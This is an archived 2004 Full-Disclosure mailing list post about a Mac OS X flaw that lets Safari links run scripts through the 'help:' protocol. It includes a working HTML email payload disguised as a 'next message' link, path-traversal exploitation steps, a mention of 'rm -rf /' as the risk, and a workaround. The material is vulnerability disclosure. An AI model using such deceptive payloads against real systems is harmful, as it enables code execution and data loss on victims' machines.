lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <DAF9D53B-AAAC-11D8-BFB9-0050E4202C5A@myrealbox.com>
From: axora at myrealbox.com (Jose Commins)
Subject: RE: Vuln. MacOSX/Safari: Remote help-call, execute scripts

In reference to Troels Bay (troelsbay@...elsbay.dk) post to this list  
on Sun, 16 May 2004 00:00:08 +0200,

This HTML can be embedded into Apple Mail (using Mozilla's HTML mail  
editor for example) and sent as a link which once clicked runs the code  
as per the exploit below:

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
  ? ? <meta content="text/html;charset=ISO-8859-1"  
http-equiv="Content-Type">
  ? ? <title></title>
</head>
<body bgcolor="#ffffff" text="#000000">
<a
  ? href="help:runscript=MacHelp.help/Contents/Resourc  
es/English.lproj/shrd/OpnApp.scpt%20string=%27usr: bin:du%27">Click to  
go to your next message</a><br>
</body>
</html>

It will display 'Click to go to your next message' and run the code  
once clicked (without visiting a web page).

Below is the text from the original post.

Regards,
		Jose.


-------------------

FROM: Troels Bay   troelsbay@...elsbay.dk
  Sun, 16 May 2004 00:00:08 +0200

I usually complain a lot about the Windows-security settings, and
consider *NIX systems to be of an entirely different level. But this
time I found my own arguments off short.

I'm an OS X user, and I would like to submit to you the latest exploit
for this system. As I hope a fix will be running in soon... Perhaps the
more people who know, the sooner a fix will be up (I might be
considered naive here...)

The Setting:

The Help-application of OS X uses ordinary html-pages to display
troubleshooting/etc, and parses a special command when displaying
help-links that, for instance, open System Preferences, Finder etc.
This command uses a built-in protocol called "help:" and can easily be
exploited since Safari (the default browser, and possible every other
browser on the system) can use the same protocol - probably due to the
Help-application's dependency on the Safari html-engine.

This means that a simple homepage meta redirect call can use it,
without the user having to do anything but surf to the site, or it can
be a simple href link on the site (most often connected to a "Porn
HERE" picture). This is an example of how it works:

help:runscript=../../Scripts/Info Scripts/Current Date & Time.scpt

Use:
This, placed as a link on a homepage, will trick Safari to 1) open the
Help-application 2) open the "Current Date & Time" script. Though the
Date & Time script is pretty harmless, consider that one can (through
another link or meta redirect call) use the disk:// protocol to mount a
script on /Volumes/danger.scpt and then let the link from above execute
it, by altering the path.

Vulnerable Systems:
Mac OS X 10.3
(probably will work with 10.2 as well, but I cannot test that, someone
please confirm?)

Risk:
This can potentially wipe the entire hard-disk (or large parts of it),
if a hacker runs a script with "rm -rf /" included.

Solution:
Alter the "help:" protocol to use another application than "Help" (for
quick editing use "MisFox" or "Default Apps"-3rdparty prefpane)

The funny thing is that this newly assigned application (in my case a
Chess program) will open whenever a hacker tries to use the
vulnerability, or whenever you rightfully try to use the
Helper-application's special links.

Credits:
I can only be seen as the messenger here, the real credits are to be
found on the forums of macnn:
http://forums.macnn.com/showthread.php?
s=&threadid=213043&perpage=50&pagenumber=1


Off topic:
I'm still waiting for that psexec tool look-a-like for *NIX, I hope
some people are working on it, perhaps samba could get a grip and
implement "NET SERVICE" anytime soon.


--Apple-Mail-1--1022973840
Content-Transfer-Encoding: 7bit
Content-Type: text/enriched;
         charset=US-ASCII

I usually complain a lot about the Windows-security settings, and
consider *NIX systems to be of an entirely different level. But this
time I found my own arguments off short.


I'm an OS X user, and I would like to submit to you the latest exploit
for this system. As I hope a fix will be running in soon... Perhaps
the more people who know, the sooner a fix will be up (I might be
considered naive here...)


<bold>The Setting:</bold>


The Help-application of OS X uses ordinary html-pages to display
troubleshooting/etc, and parses a special command when displaying
help-links that, for instance, open System Preferences, Finder etc.
This command uses a built-in protocol called "help:" and can easily be
exploited since Safari (the default browser, and possible every other
browser on the system) can use the same protocol - probably due to the
Help-application's dependency on the Safari html-engine.


This means that a simple homepage meta redirect call can use it,
without the user having to do anything but surf to the site, or it can
be a simple href link on the site (most often connected to a "Porn
HERE" picture). This is an example of how it works:


help:runscript=../../Scripts/Info Scripts/Current Date & Time.scpt


<bold>Use:</bold>

This, placed as a link on a homepage, will trick Safari to 1) open the
Help-application 2) open the "Current Date & Time" script. Though the
Date & Time script is pretty harmless, consider that one can (through
another link or meta redirect call) use the disk:// protocol to mount
a script on /Volumes/danger.scpt and then let the link from above
execute it, by altering the path.


<bold>Vulnerable Systems:</bold>

Mac OS X 10.3

(probably will work with 10.2 as well, but I cannot test that, someone
please confirm?)


<bold>Risk:

</bold>This can potentially wipe the entire hard-disk (or large parts
of it), if a hacker runs a script with "rm -rf /" included.


<bold>Solution:</bold>

Alter the "help:" protocol to use another application than "Help" (for
quick editing use "MisFox" or "Default Apps"-3rdparty prefpane)


The funny thing is that this newly assigned application (in my case a
Chess program) will open whenever a hacker tries to use the
vulnerability, or whenever you rightfully try to use the
Helper-application's special links.


<bold>Credits:</bold>

I can only be seen as the messenger here, the real credits are to be
found on the forums of macnn:
http://forums.macnn.com/showthread.php? 
s=&threadid=213043&perpage=50&pagenumber=1



<bold>Off topic:

</bold>I'm still waiting for that psexec tool look-a-like for *NIX, I
hope some people are working on it, perhaps samba could get a grip and
implement "NET SERVICE" anytime soon.



--Apple-Mail-1--1022973840--


Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ